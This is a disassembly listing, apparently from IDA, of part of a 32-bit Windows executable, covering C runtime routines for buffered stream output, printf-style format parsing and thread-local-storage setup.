arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] test al, 82h mov ebx, [esi+10h] jz loc_418981 test al, 40h jnz loc_418981 test al, 1 jz short loc_4188AE and dword ptr [esi+4], 0 test al, 10h jz loc_418981 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_4188AE: ; CODE XREF: sub_418875+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_4188EA cmp esi, offset dword_432678 jz short loc_4188D8 cmp esi, offset dword_432698 jnz short loc_4188E3 loc_4188D8: ; CODE XREF: sub_418875+59j push ebx call sub_41E56D test eax, eax pop ecx jnz short loc_4188EA loc_4188E3: ; CODE XREF: sub_418875+61j push esi call sub_41E529 pop ecx loc_4188EA: ; CODE XREF: sub_418875+51j ; sub_418875+6Cj test word ptr [esi+0Ch], 108h push edi jz short loc_418957 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx test edi, edi mov [esi+4], ecx jle short loc_418917 push edi push eax push ebx call sub_41E47E mov [ebp+arg_4], eax jmp short loc_41894A ; --------------------------------------------------------------------------- loc_418917: ; CODE XREF: sub_418875+93j cmp ebx, 0FFFFFFFFh jz short loc_418935 mov ecx, ebx sar ecx, 5 mov ecx, dword_481600[ecx*4] mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_41893A ; --------------------------------------------------------------------------- loc_418935: ; CODE XREF: sub_418875+A5j mov eax, offset dword_432C90 loc_41893A: ; CODE XREF: sub_418875+BEj test byte ptr [eax+4], 20h jz short loc_41894D push 2 push 0 push ebx call sub_41D75A loc_41894A: ; CODE XREF: sub_418875+A0j add esp, 0Ch loc_41894D: ; CODE XREF: sub_418875+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41896B ; --------------------------------------------------------------------------- loc_418957: ; CODE XREF: sub_418875+7Cj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push ebx call sub_41E47E add esp, 0Ch mov [ebp+arg_4], eax loc_41896B: ; CODE XREF: sub_418875+E0j cmp [ebp+arg_4], edi pop edi jz short loc_418977 or dword ptr [esi+0Ch], 20h jmp short loc_418987 ; --------------------------------------------------------------------------- loc_418977: ; CODE XREF: sub_418875+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41898A ; --------------------------------------------------------------------------- loc_418981: ; CODE XREF: sub_418875+10j ; sub_418875+18j ... or eax, 20h mov [esi+0Ch], eax loc_418987: ; CODE XREF: sub_418875+100j or eax, 0FFFFFFFFh loc_41898A: ; CODE XREF: sub_418875+10Aj pop esi pop ebx pop ebp retn sub_418875 endp ; =============== S U B R O U T I N E ======================================= sub_41898E proc near ; CODE XREF: sub_4189C1+11p ; sub_4189E5+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_41899A cmp dword ptr [ecx+8], 0 jz short loc_4189BE loc_41899A: ; CODE XREF: sub_41898E+4j dec dword ptr [ecx+4] js short loc_4189AA mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4189B6 ; --------------------------------------------------------------------------- loc_4189AA: ; CODE XREF: sub_41898E+Fj movsx eax, al push ecx push eax call sub_418875 pop ecx pop ecx loc_4189B6: ; CODE XREF: sub_41898E+1Aj cmp eax, 0FFFFFFFFh jnz short loc_4189BE or [esi], eax retn ; --------------------------------------------------------------------------- loc_4189BE: ; CODE XREF: sub_41898E+Aj ; sub_41898E+2Bj inc dword ptr [esi] retn sub_41898E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189C1 proc near ; CODE XREF: sub_418A1C+6A2p ; sub_418A1C+6CDp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_4189DC ; --------------------------------------------------------------------------- loc_4189C9: ; CODE XREF: sub_4189C1+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_41898E cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4189E2 loc_4189DC: ; CODE XREF: sub_4189C1+6j cmp [ebp+arg_4], 0 jg short loc_4189C9 loc_4189E2: ; CODE XREF: sub_4189C1+19j pop esi pop ebp retn sub_4189C1 endp ; =============== S U B R O U T I N E ======================================= sub_4189E5 proc near ; CODE XREF: sub_418A1C+6B6p ; sub_418A1C+70Ep ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_418A12 cmp dword ptr [edi+8], 0 jnz short loc_418A12 mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_418A19 ; --------------------------------------------------------------------------- loc_4189FF: ; CODE XREF: sub_4189E5+32j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_41898E inc ebx cmp dword ptr [esi], 0FFFFFFFFh jz short loc_418A19 loc_418A12: ; CODE XREF: sub_4189E5+Aj ; sub_4189E5+10j cmp [esp+8+arg_0], 0 jg short loc_4189FF loc_418A19: ; CODE XREF: sub_4189E5+18j ; sub_4189E5+2Bj pop esi pop ebx retn sub_4189E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A1C proc near ; CODE XREF: sub_416975+2Ap ; sub_416BCD+29p ... var_254 = byte ptr -254h var_55 = byte ptr -55h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 254h mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax xor eax, eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov [ebp+var_2C], eax mov eax, [ebp+arg_4] mov bl, [eax] xor ecx, ecx test bl, bl jz loc_419180 push esi push edi mov edi, eax jmp short loc_418A54 ; --------------------------------------------------------------------------- loc_418A51: ; CODE XREF: sub_418A1C+75Cj mov ecx, [ebp+var_38] loc_418A54: ; CODE XREF: sub_418A1C+33j inc edi cmp [ebp+var_18], 0 mov [ebp+arg_4], edi jl loc_41917E cmp bl, 20h jl short loc_418A7B cmp bl, 78h jg short loc_418A7B movsx eax, bl movsx eax, byte ptr stru_42BE78._unk[eax] and eax, 0Fh jmp short loc_418A7D ; --------------------------------------------------------------------------- loc_418A7B: ; CODE XREF: sub_418A1C+49j ; sub_418A1C+4Ej xor eax, eax loc_418A7D: ; CODE XREF: sub_418A1C+5Dj movsx eax, byte_42BE98[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+var_38], eax ja loc_419171 ; default jmp off_419191[eax*4] ; switch jump loc_418A9D: ; DATA XREF: .text:off_419191o xor eax, eax ; jumptable 00418A96 case 1 or [ebp+var_C], 0FFFFFFFFh mov [ebp+var_3C], eax mov [ebp+var_34], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_8], eax mov [ebp+var_28], eax jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418ABA: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o movsx eax, bl ; jumptable 00418A96 case 2 sub eax, 20h jz short loc_418AFD sub eax, 3 jz short loc_418AF4 sub eax, 8 jz short loc_418AEB dec eax dec eax jz short loc_418AE2 sub eax, 3 jnz loc_419171 ; default or [ebp+var_8], 8 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418AE2: ; CODE XREF: sub_418A1C+B2j or [ebp+var_8], 4 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418AEB: ; CODE XREF: sub_418A1C+AEj or [ebp+var_8], 1 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418AF4: ; CODE XREF: sub_418A1C+A9j or byte ptr [ebp+var_8], 80h jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418AFD: ; CODE XREF: sub_418A1C+A4j or [ebp+var_8], 2 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B06: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o cmp bl, 2Ah ; jumptable 00418A96 case 3 jnz short loc_418B2C add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_24], eax jge loc_419171 ; default or [ebp+var_8], 4 neg [ebp+var_24] jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B2C: ; CODE XREF: sub_418A1C+EDj mov eax, [ebp+var_24] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_24], eax jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B41: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o and [ebp+var_C], 0 ; jumptable 00418A96 case 4 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B4A: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o cmp bl, 2Ah ; jumptable 00418A96 case 5 jnz short loc_418B6D add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_C], eax jge loc_419171 ; default or [ebp+var_C], 0FFFFFFFFh jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B6D: ; CODE XREF: sub_418A1C+131j mov eax, [ebp+var_C] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_C], eax jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418B82: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o cmp bl, 49h ; jumptable 00418A96 case 6 jz short loc_418BB5 cmp bl, 68h jz short loc_418BAC cmp bl, 6Ch jz short loc_418BA3 cmp bl, 77h jnz loc_419171 ; default or byte ptr [ebp+var_8+1], 8 jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418BA3: ; CODE XREF: sub_418A1C+173j or [ebp+var_8], 10h jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418BAC: ; CODE XREF: sub_418A1C+16Ej or [ebp+var_8], 20h jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418BB5: ; CODE XREF: sub_418A1C+169j mov al, [edi] cmp al, 36h jnz short loc_418BCF cmp byte ptr [edi+1], 34h jnz short loc_418BCF inc edi inc edi or byte ptr [ebp+var_8+1], 80h mov [ebp+arg_4], edi jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418A1C+19Dj ; sub_418A1C+1A3j cmp al, 33h jnz short loc_418BE7 cmp byte ptr [edi+1], 32h jnz short loc_418BE7 inc edi inc edi and byte ptr [ebp+var_8+1], 7Fh mov [ebp+arg_4], edi jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418BE7: ; CODE XREF: sub_418A1C+1B5j ; sub_418A1C+1BBj cmp al, 64h jz loc_419171 ; default cmp al, 69h jz loc_419171 ; default cmp al, 6Fh jz loc_419171 ; default cmp al, 75h jz loc_419171 ; default cmp al, 78h jz loc_419171 ; default cmp al, 58h jz loc_419171 ; default and [ebp+var_38], 0 loc_418C1B: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o mov ecx, off_432A60 ; jumptable 00418A96 case 0 and [ebp+var_28], 0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_418C42 mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_41898E mov bl, [edi] inc edi mov [ebp+arg_4], edi loc_418C42: ; CODE XREF: sub_418A1C+211j mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_41898E jmp loc_419171 ; default ; --------------------------------------------------------------------------- loc_418C54: ; CODE XREF: sub_418A1C+7Aj ; DATA XREF: .text:off_419191o movsx eax, bl ; jumptable 00418A96 case 7 cmp eax, 67h jg loc_418EA6 cmp eax, 65h jge loc_418CE9 cmp eax, 58h jg loc_418D4A jz loc_418F27 sub eax, 43h jz loc_418D0C dec eax dec eax jz short loc_418CDF dec eax dec eax jz short loc_418CDF sub eax, 0Ch jnz loc_41906F test word ptr [ebp+var_8], 830h jnz short loc_418C9E or byte ptr [ebp+var_8+1], 8 loc_418C9E: ; CODE XREF: sub_418A1C+27Cj ; sub_418A1C+4A9j mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnz short loc_418CAB mov ecx, 7FFFFFFFh loc_418CAB: ; CODE XREF: sub_418A1C+288j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] mov eax, [eax-4] mov [ebp+var_10], eax jz loc_418EFC test eax, eax jnz short loc_418CD0 mov eax, off_43238C mov [ebp+var_10], eax loc_418CD0: ; CODE XREF: sub_418A1C+2AAj mov eax, [ebp+var_10] mov [ebp+var_28], 1 jmp loc_418EEE ; --------------------------------------------------------------------------- loc_418CDF: ; CODE XREF: sub_418A1C+267j ; sub_418A1C+26Bj mov [ebp+var_3C], 1 add bl, 20h loc_418CE9: ; CODE XREF: sub_418A1C+247j or [ebp+var_8], 40h cmp [ebp+var_C], 0 lea esi, [ebp+var_254] mov [ebp+var_10], esi jge loc_418DF0 mov [ebp+var_C], 6 jmp loc_418E37 ; --------------------------------------------------------------------------- loc_418D0C: ; CODE XREF: sub_418A1C+25Fj test word ptr [ebp+var_8], 830h jnz short loc_418D18 or byte ptr [ebp+var_8+1], 8 loc_418D18: ; CODE XREF: sub_418A1C+2F6j ; sub_418A1C+336j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] jz short loc_418D89 movsx eax, word ptr [eax-4] push eax lea eax, [ebp+var_254] push eax call sub_41E5F7 test eax, eax pop ecx pop ecx mov [ebp+var_14], eax jge short loc_418D99 mov [ebp+var_34], 1 jmp short loc_418D99 ; --------------------------------------------------------------------------- loc_418D4A: ; CODE XREF: sub_418A1C+250j sub eax, 5Ah jz short loc_418DA7 sub eax, 9 jz short loc_418D18 dec eax jnz loc_41906F loc_418D5B: ; CODE XREF: sub_418A1C+48Dj or [ebp+var_8], 40h loc_418D5F: ; CODE XREF: sub_418A1C+4B1j mov [ebp+var_14], 0Ah loc_418D66: ; CODE XREF: sub_418A1C+519j ; sub_418A1C+532j ... mov ebx, [ebp+var_8] mov esi, 8000h test ebx, esi jz loc_418F97 mov ecx, [ebp+arg_8] mov eax, [ecx] mov edx, [ecx+4] add ecx, 8 mov [ebp+arg_8], ecx jmp loc_418FBF ; --------------------------------------------------------------------------- loc_418D89: ; CODE XREF: sub_418A1C+309j mov al, [eax-4] mov [ebp+var_254], al mov [ebp+var_14], 1 loc_418D99: ; CODE XREF: sub_418A1C+323j ; sub_418A1C+32Cj lea eax, [ebp+var_254] mov [ebp+var_10], eax jmp loc_41906F ; --------------------------------------------------------------------------- loc_418DA7: ; CODE XREF: sub_418A1C+331j add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax jz short loc_418DE2 mov ecx, [eax+4] test ecx, ecx jz short loc_418DE2 test byte ptr [ebp+var_8+1], 8 movsx eax, word ptr [eax] mov [ebp+var_10], ecx jz short loc_418DD9 cdq sub eax, edx sar eax, 1 mov [ebp+var_28], 1 jmp loc_41906C ; --------------------------------------------------------------------------- loc_418DD9: ; CODE XREF: sub_418A1C+3AAj and [ebp+var_28], 0 jmp loc_41906C ; --------------------------------------------------------------------------- loc_418DE2: ; CODE XREF: sub_418A1C+397j ; sub_418A1C+39Ej mov eax, off_432388 mov [ebp+var_10], eax push eax jmp loc_418E9B ; --------------------------------------------------------------------------- loc_418DF0: ; CODE XREF: sub_418A1C+2DEj jnz short loc_418E00 cmp bl, 67h jnz short loc_418E37 mov [ebp+var_C], 1 jmp short loc_418E37 ; --------------------------------------------------------------------------- loc_418E00: ; CODE XREF: sub_418A1C:loc_418DF0j mov eax, 200h cmp [ebp+var_C], eax jle short loc_418E0D mov [ebp+var_C], eax loc_418E0D: ; CODE XREF: sub_418A1C+3ECj mov edi, 0A3h cmp [ebp+var_C], edi jle short loc_418E37 mov eax, [ebp+var_C] add eax, 15Dh push eax call sub_416E1F test eax, eax pop ecx mov [ebp+var_2C], eax jz short loc_418E34 mov [ebp+var_10], eax mov esi, eax jmp short loc_418E37 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418A1C+40Fj mov [ebp+var_C], edi loc_418E37: ; CODE XREF: sub_418A1C+2EBj ; sub_418A1C+3D9j ... mov eax, [ebp+arg_8] mov ecx, [eax] push [ebp+var_3C] add eax, 8 push [ebp+var_C] mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_48], eax movsx eax, bl push eax lea eax, [ebp+var_4C] push esi push eax mov [ebp+var_4C], ecx call off_432A48 mov edi, [ebp+var_8] add esp, 14h and edi, 80h jz short loc_418E7C cmp [ebp+var_C], 0 jnz short loc_418E7C push esi call off_432A54 pop ecx loc_418E7C: ; CODE XREF: sub_418A1C+450j ; sub_418A1C+456j cmp bl, 67h jnz short loc_418E8D test edi, edi jnz short loc_418E8D push esi call off_432A4C pop ecx loc_418E8D: ; CODE XREF: sub_418A1C+463j ; sub_418A1C+467j cmp byte ptr [esi], 2Dh jnz short loc_418E9A or byte ptr [ebp+var_8+1], 1 inc esi mov [ebp+var_10], esi loc_418E9A: ; CODE XREF: sub_418A1C+474j push esi loc_418E9B: ; CODE XREF: sub_418A1C+3CFj call sub_419D70 pop ecx jmp loc_41906C ; --------------------------------------------------------------------------- loc_418EA6: ; CODE XREF: sub_418A1C+23Ej sub eax, 69h jz loc_418D5B sub eax, 5 jz loc_418F6D dec eax jz loc_418F53 dec eax jz short loc_418F20 sub eax, 3 jz loc_418C9E dec eax dec eax jz loc_418D5F sub eax, 3 jnz loc_41906F mov [ebp+var_30], 27h jmp short loc_418F2A ; --------------------------------------------------------------------------- loc_418EE5: ; CODE XREF: sub_418A1C+4D4j dec ecx cmp word ptr [eax], 0 jz short loc_418EF2 inc eax inc eax loc_418EEE: ; CODE XREF: sub_418A1C+2BEj test ecx, ecx jnz short loc_418EE5 loc_418EF2: ; CODE XREF: sub_418A1C+4CEj sub eax, [ebp+var_10] sar eax, 1 jmp loc_41906C ; --------------------------------------------------------------------------- loc_418EFC: ; CODE XREF: sub_418A1C+2A2j test eax, eax jnz short loc_418F08 mov eax, off_432388 mov [ebp+var_10], eax loc_418F08: ; CODE XREF: sub_418A1C+4E2j mov eax, [ebp+var_10] jmp short loc_418F14 ; --------------------------------------------------------------------------- loc_418F0D: ; CODE XREF: sub_418A1C+4FAj dec ecx cmp byte ptr [eax], 0 jz short loc_418F18 inc eax loc_418F14: ; CODE XREF: sub_418A1C+4EFj test ecx, ecx jnz short loc_418F0D loc_418F18: ; CODE XREF: sub_418A1C+4F5j sub eax, [ebp+var_10] jmp loc_41906C ; --------------------------------------------------------------------------- loc_418F20: ; CODE XREF: sub_418A1C+4A4j mov [ebp+var_C], 8 loc_418F27: ; CODE XREF: sub_418A1C+256j mov [ebp+var_30], ecx loc_418F2A: ; CODE XREF: sub_418A1C+4C7j test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 10h jz loc_418D66 mov al, byte ptr [ebp+var_30] add al, 51h mov [ebp+var_1C], 30h mov [ebp+var_1B], al mov [ebp+var_20], 2 jmp loc_418D66 ; --------------------------------------------------------------------------- loc_418F53: ; CODE XREF: sub_418A1C+49Dj test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 8 jz loc_418D66 or byte ptr [ebp+var_8+1], 2 jmp loc_418D66 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418A1C+496j add [ebp+arg_8], 4 test byte ptr [ebp+var_8], 20h mov eax, [ebp+arg_8] mov eax, [eax-4] jz short loc_418F86 mov cx, word ptr [ebp+var_18] mov [eax], cx jmp short loc_418F8B ; --------------------------------------------------------------------------- loc_418F86: ; CODE XREF: sub_418A1C+55Fj mov ecx, [ebp+var_18] mov [eax], ecx loc_418F8B: ; CODE XREF: sub_418A1C+568j mov [ebp+var_34], 1 jmp loc_41915E ; --------------------------------------------------------------------------- loc_418F97: ; CODE XREF: sub_418A1C+354j add [ebp+arg_8], 4 test bl, 20h mov eax, [ebp+arg_8] jz short loc_418FB5 test bl, 40h jz short loc_418FAF movsx eax, word ptr [eax-4] loc_418FAC: ; CODE XREF: sub_418A1C+597j ; sub_418A1C+59Fj cdq jmp short loc_418FBF ; --------------------------------------------------------------------------- loc_418FAF: ; CODE XREF: sub_418A1C+58Aj movzx eax, word ptr [eax-4] jmp short loc_418FAC ; --------------------------------------------------------------------------- loc_418FB5: ; CODE XREF: sub_418A1C+585j test bl, 40h mov eax, [eax-4] jnz short loc_418FAC xor edx, edx loc_418FBF: ; CODE XREF: sub_418A1C+368j ; sub_418A1C+591j test bl, 40h jz short loc_418FD9 test edx, edx jg short loc_418FD9 jl short loc_418FCE test eax, eax jnb short loc_418FD9 loc_418FCE: ; CODE XREF: sub_418A1C+5ACj neg eax adc edx, 0 neg edx or byte ptr [ebp+var_8+1], 1 loc_418FD9: ; CODE XREF: sub_418A1C+5A6j ; sub_418A1C+5AAj ... test [ebp+var_8], esi mov ebx, eax mov edi, edx jnz short loc_418FE4 xor edi, edi loc_418FE4: ; CODE XREF: sub_418A1C+5C4j cmp [ebp+var_C], 0 jge short loc_418FF3 mov [ebp+var_C], 1 jmp short loc_419004 ; --------------------------------------------------------------------------- loc_418FF3: ; CODE XREF: sub_418A1C+5CCj and [ebp+var_8], 0FFFFFFF7h mov eax, 200h cmp [ebp+var_C], eax jle short loc_419004 mov [ebp+var_C], eax loc_419004: ; CODE XREF: sub_418A1C+5D5j ; sub_418A1C+5E3j mov eax, ebx or eax, edi jnz short loc_41900E and [ebp+var_20], 0 loc_41900E: ; CODE XREF: sub_418A1C+5ECj lea esi, [ebp+var_55] loc_419011: ; CODE XREF: sub_418A1C+627j mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jg short loc_419021 mov eax, ebx or eax, edi jz short loc_419045 loc_419021: ; CODE XREF: sub_418A1C+5FDj mov eax, [ebp+var_14] cdq push edx push eax push edi push ebx call sub_4172F0 add ecx, 30h cmp ecx, 39h mov [ebp+var_40], ebx mov ebx, eax mov edi, edx jle short loc_419040 add ecx, [ebp+var_30] loc_419040: ; CODE XREF: sub_418A1C+61Fj mov [esi], cl dec esi jmp short loc_419011 ; --------------------------------------------------------------------------- loc_419045: ; CODE XREF: sub_418A1C+603j lea eax, [ebp+var_55] sub eax, esi inc esi test byte ptr [ebp+var_8+1], 2 mov [ebp+var_14], eax mov [ebp+var_10], esi jz short loc_41906F mov ecx, esi cmp byte ptr [ecx], 30h jnz short loc_419062 test eax, eax jnz short loc_41906F loc_419062: ; CODE XREF: sub_418A1C+640j dec [ebp+var_10] mov ecx, [ebp+var_10] mov byte ptr [ecx], 30h inc eax loc_41906C: ; CODE XREF: sub_418A1C+3B8j ; sub_418A1C+3C1j ... mov [ebp+var_14], eax loc_41906F: ; CODE XREF: sub_418A1C+270j ; sub_418A1C+339j ... cmp [ebp+var_34], 0 jnz loc_41915E mov ebx, [ebp+var_8] test bl, 40h jz short loc_4190A7 test bh, 1 jz short loc_41908C mov [ebp+var_1C], 2Dh jmp short loc_4190A0 ; --------------------------------------------------------------------------- loc_41908C: ; CODE XREF: sub_418A1C+668j test bl, 1 jz short loc_419097 mov [ebp+var_1C], 2Bh jmp short loc_4190A0 ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_418A1C+673j test bl, 2 jz short loc_4190A7 mov [ebp+var_1C], 20h loc_4190A0: ; CODE XREF: sub_418A1C+66Ej ; sub_418A1C+679j mov [ebp+var_20], 1 loc_4190A7: ; CODE XREF: sub_418A1C+663j ; sub_418A1C+67Ej mov esi, [ebp+var_24] sub esi, [ebp+var_20] sub esi, [ebp+var_14] test bl, 0Ch jnz short loc_4190C6 push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_4189C1 add esp, 0Ch loc_4190C6: ; CODE XREF: sub_418A1C+697j push [ebp+var_20] mov edi, [ebp+arg_0] lea eax, [ebp+var_18] lea ecx, [ebp+var_1C] call sub_4189E5 test bl, 8 pop ecx jz short loc_4190F1 test bl, 4 jnz short loc_4190F1 push edi push esi push 30h lea eax, [ebp+var_18] call sub_4189C1 add esp, 0Ch loc_4190F1: ; CODE XREF: sub_418A1C+6BFj ; sub_418A1C+6C4j cmp [ebp+var_28], 0 jz short loc_419138 cmp [ebp+var_14], 0 jle short loc_419138 mov eax, [ebp+var_14] mov ebx, [ebp+var_10] mov [ebp+var_40], eax loc_419106: ; CODE XREF: sub_418A1C+718j dec [ebp+var_40] xor eax, eax mov ax, [ebx] push eax lea eax, [ebp+var_54] push eax call sub_41E5F7 inc ebx pop ecx inc ebx test eax, eax pop ecx jle short loc_419147 mov edi, [ebp+arg_0] push eax lea eax, [ebp+var_18] lea ecx, [ebp+var_54] call sub_4189E5 cmp [ebp+var_40], 0 pop ecx jnz short loc_419106 jmp short loc_419147 ; --------------------------------------------------------------------------- loc_419138: ; CODE XREF: sub_418A1C+6D9j ; sub_418A1C+6DFj push [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ebp+var_18] call sub_4189E5 pop ecx loc_419147: ; CODE XREF: sub_418A1C+702j ; sub_418A1C+71Aj test byte ptr [ebp+var_8], 4 jz short loc_41915E push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_4189C1 add esp, 0Ch loc_41915E: ; CODE XREF: sub_418A1C+576j ; sub_418A1C+657j ... cmp [ebp+var_2C], 0 jz short loc_419171 ; default push [ebp+var_2C] call sub_416D07 and [ebp+var_2C], 0 pop ecx loc_419171: ; CODE XREF: sub_418A1C+74j ; sub_418A1C+99j ... mov edi, [ebp+arg_4] ; default mov bl, [edi] test bl, bl jnz loc_418A51 loc_41917E: ; CODE XREF: sub_418A1C+40j pop edi pop esi loc_419180: ; CODE XREF: sub_418A1C+29j mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+var_18] pop ebx call sub_41C596 leave retn sub_418A1C endp ; --------------------------------------------------------------------------- off_419191 dd offset loc_418C1B ; DATA XREF: sub_418A1C+7Ar dd offset loc_418A9D ; jump table for switch statement dd offset loc_418ABA dd offset loc_418B06 dd offset loc_418B41 dd offset loc_418B4A dd offset loc_418B82 dd offset loc_418C54 ; =============== S U B R O U T I N E ======================================= sub_4191B1 proc near ; CODE XREF: sub_419240:loc_419259p ; sub_419240:loc_4192A6p call sub_41A0ED mov eax, dword_432390 cmp eax, 0FFFFFFFFh jz short locret_4191CE push eax call dword_422170 ; TlsFree or dword_432390, 0FFFFFFFFh locret_4191CE: ; CODE XREF: sub_4191B1+Dj retn sub_4191B1 endp ; =============== S U B R O U T I N E ======================================= sub_4191CF proc near ; CODE XREF: sub_416B24p sub_416B31p ... push ebx push esi call dword_422008 ; RtlGetLastWin32Error push dword_432390 mov ebx, eax call dword_422180 ; TlsGetValue mov esi, eax test esi, esi jnz short loc_419234 push 88h push 1 call sub_41E61E mov esi, eax test esi, esi pop ecx pop ecx jz short loc_41922C push esi push dword_432390 call dword_42217C ; TlsSetValue test eax, eax jz short loc_41922C mov dword ptr [esi+54h], offset dword_432C08 mov dword ptr [esi+14h], 1 call dword_422178 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_419234 ; --------------------------------------------------------------------------- loc_41922C: ; CODE XREF: sub_4191CF+2Ej ; sub_4191CF+3Fj push 10h call sub_41865A pop ecx loc_419234: ; CODE XREF: sub_4191CF+1Aj ; sub_4191CF+5Bj push ebx call dword_422174 ; RtlSetLastWin32Error mov eax, esi pop esi pop ebx retn sub_4191CF endp ; =============== S U B R O U T I N E ======================================= sub_419240 proc near ; CODE XREF: .text:loc_41877Ep call sub_41A0A4 test eax, eax jz short loc_419259 call dword_422184 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_432390, eax jnz short loc_419261 loc_419259: ; CODE XREF: sub_419240+7j call sub_4191B1 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419261: ; CODE XREF: sub_419240+17j push esi push 88h push 1 call sub_41E61E mov esi, eax test esi, esi pop ecx pop ecx jz short loc_4192A6 push esi push dword_432390 call dword_42217C ; TlsSetValue test eax, eax jz short loc_4192A6 mov dword ptr [esi+54h], offset dword_432C08 mov dword ptr [esi+14h], 1 call dword_422178 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_4192A6: ; CODE XREF: sub_419240+34j ; sub_419240+45j call sub_4191B1 xor eax, eax pop esi retn sub_419240 endp ; =============== S U B R O U T I N E ======================================= sub_4192AF proc near ; CODE XREF: sub_4192C5+52p ; sub_4192C5+1EFp ... dec dword ptr [edx+4] js short loc_4192BD mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; 